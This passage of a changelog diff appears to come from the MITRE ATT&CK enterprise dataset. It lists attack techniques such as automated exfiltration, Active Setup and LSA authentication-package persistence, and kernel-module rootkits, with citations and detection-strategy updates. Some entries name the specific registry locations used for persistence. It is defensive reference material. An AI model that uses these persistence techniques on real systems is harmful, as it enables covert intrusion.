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+ "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
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+ "source_name": "DOJ GRU Indictment Jul 2018",
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+ "external_id": "T1560.003"
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+ "source_name": "ESET Sednit Part 2",
+ "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
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+ "url": "https://github.com/madler/zlib"
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+ "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
+ "url": "https://www.winzip.com/win/en/"
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+ "source_name": "7zip Homepage",
+ "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
+ "url": "https://www.7-zip.org/"
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+ "source_name": "diantz.exe_lolbas",
+ "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
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+ "source_name": "ESET Attor Oct 2019",
+ "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
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+ "source_name": "Mandiant UNC3944 SMS Phishing 2023",
+ "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.",
+ "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"
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+ "x_mitre_platforms": [
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+ "Linux",
+ "macOS",
+ "Office Suite",
+ "SaaS",
+ "Windows"
+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\", \"File: File Access\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.995000+00:00\", \"old_value\": \"2025-04-15 19:58:18.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.\"}}}",
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+ "new": [],
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+ "changelog_datacomponent_detections": {
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+ "shared": [],
+ "new": [
+ "DET0186: Automated File and API Collection Detection Across Platforms"
+ ],
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+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "name": "Automated Exfiltration",
+ "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
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+ "phase_name": "exfiltration"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1020",
+ "external_id": "T1020"
+ },
+ {
+ "source_name": "ESET Gamaredon June 2020",
+ "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
+ "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
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+ "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
+ "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
+ },
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+ "source_name": "Cisco Traffic Mirroring",
+ "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
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+ "source_name": "GCP Packet Mirroring",
+ "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
+ "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
+ },
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+ "source_name": "Juniper Traffic Mirroring",
+ "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
+ "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
+ },
+ {
+ "source_name": "Azure Virtual Network TAP",
+ "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
+ "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
+ },
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+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
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+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1197",
+ "external_id": "T1197"
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+ "source_name": "CTU BITS Malware June 2016",
+ "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
+ "url": "https://www.secureworks.com/blog/malware-lingers-with-bits"
+ },
+ {
+ "source_name": "Symantec BITS May 2007",
+ "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
+ "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"
+ },
+ {
+ "source_name": "Elastic - Hunting for Persistence Part 1",
+ "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
+ "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
+ },
+ {
+ "source_name": "PaloAlto UBoatRAT Nov 2017",
+ "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
+ },
+ {
+ "source_name": "Microsoft Issues with BITS July 2011",
+ "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
+ "url": "https://technet.microsoft.com/library/dd939934.aspx"
+ },
+ {
+ "source_name": "Microsoft BITS",
+ "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"
+ },
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+ "source_name": "Microsoft BITSAdmin",
+ "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
+ "url": "https://msdn.microsoft.com/library/aa362813.aspx"
+ },
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+ "source_name": "Microsoft COM",
+ "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+ },
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+ "source_name": "Mondok Windows PiggyBack BITS May 2007",
+ "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
+ "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
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+ "DS0009: Process (Process Creation)",
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+ "shared": [],
+ "new": [
+ "DET0098: Detect abuse of Windows BITS Jobs for download, execution and persistence"
+ ],
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+ },
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 17:46:59.535000+00:00",
+ "modified": "2025-10-24 17:48:29.846000+00:00",
+ "name": "Boot or Logon Autostart Execution",
+ "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
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+ "external_id": "T1547"
+ },
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+ "source_name": "Cylance Reg Persistence Sept 2013",
+ "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
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+ "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
+ },
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+ "source_name": "Microsoft Run Key",
+ "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
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+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
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+ "source_name": "Linux Kernel Programming",
+ "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
+ "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
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+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\", \"Command: Command Execution\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.846000+00:00\", \"old_value\": \"2025-04-15 19:58:12.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n\\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n\\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n-\\n-Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n-\\n-Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0008: Kernel (Kernel Module Load)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0274: Boot or Logon Autostart Execution Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-12-18 16:33:13.098000+00:00",
+ "modified": "2025-10-24 17:48:31.226000+00:00",
+ "name": "Active Setup",
+ "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/014",
+ "external_id": "T1547.014"
+ },
+ {
+ "source_name": "SECURELIST Bright Star 2015",
+ "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
+ "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
+ },
+ {
+ "source_name": "Mandiant Glyer APT 2010",
+ "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
+ "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
+ },
+ {
+ "source_name": "FireEye CFR Watering Hole 2012",
+ "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
+ },
+ {
+ "source_name": "Klein Active Setup 2010",
+ "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
+ "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
+ },
+ {
+ "source_name": "paloalto Tropic Trooper 2016",
+ "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
+ "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ },
+ {
+ "source_name": "Citizenlab Packrat 2015",
+ "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
+ "url": "https://citizenlab.ca/2015/12/packrat-report/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.226000+00:00\", \"old_value\": \"2025-04-15 19:58:13.464000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0312: Detect Active Setup Persistence via StubPath Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:54:42.757000+00:00",
+ "modified": "2025-10-24 17:49:17.208000+00:00",
+ "name": "Authentication Package",
+ "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/002",
+ "external_id": "T1547.002"
+ },
+ {
+ "source_name": "Graeber 2014",
+ "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
+ "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
+ },
+ {
+ "source_name": "Microsoft Configure LSA",
+ "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
+ "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
+ },
+ {
+ "source_name": "MSDN Authentication Packages",
+ "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.208000+00:00\", \"old_value\": \"2025-04-16 20:37:19.684000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1025: Privileged Process Integrity"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0207: Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 17:42:23.339000+00:00",
+ "modified": "2025-10-24 17:49:10.550000+00:00",
+ "name": "Kernel Modules and Extensions",
+ "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/006",
+ "external_id": "T1547.006"
+ },
+ {
+ "source_name": "Apple Developer Configuration Profile",
+ "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.",
+ "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"
+ },
+ {
+ "source_name": "Apple Kernel Extension Deprecation",
+ "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.",
+ "url": "https://developer.apple.com/support/kernel-extensions/"
+ },
+ {
+ "source_name": "System and kernel extensions in macOS",
+ "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.",
+ "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web"
+ },
+ {
+ "source_name": "GitHub Reptile",
+ "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
+ "url": "https://github.com/f0rb1dd3n/Reptile"
+ },
+ {
+ "source_name": "Volatility Phalanx2",
+ "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
+ "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
+ },
+ {
+ "source_name": "iDefense Rootkit Overview",
+ "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.",
+ "url": "https://www.megasecurity.org/papers/Rootkits.pdf"
+ },
+ {
+ "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
+ "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved November 17, 2024.",
+ "url": "https://tldp.org/HOWTO/Module-HOWTO/x197.html"
+ },
+ {
+ "source_name": "CrowdStrike Linux Rootkit",
+ "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
+ "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
+ },
+ {
+ "source_name": "GitHub Diamorphine",
+ "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
+ "url": "https://github.com/m0nad/Diamorphine"
+ },
+ {
+ "source_name": "Securelist Ventir",
+ "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
+ "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
+ },
+ {
+ "source_name": "User Approved Kernel Extension Pike\u2019s",
+ "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.",
+ "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"
+ },
+ {
+ "source_name": "Linux Kernel Module Programming Guide",
+ "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved November 17, 2024.",
+ "url": "https://tldp.org/LDP/lkmpg/2.4/html/x437.html"
+ },
+ {
+ "source_name": "Linux Kernel Programming",
+ "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
+ "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
+ },
+ {
+ "source_name": "Trend Micro Skidmap",
+ "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"
+ },
+ {
+ "source_name": "Purves Kextpocalypse 2",
+ "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.",
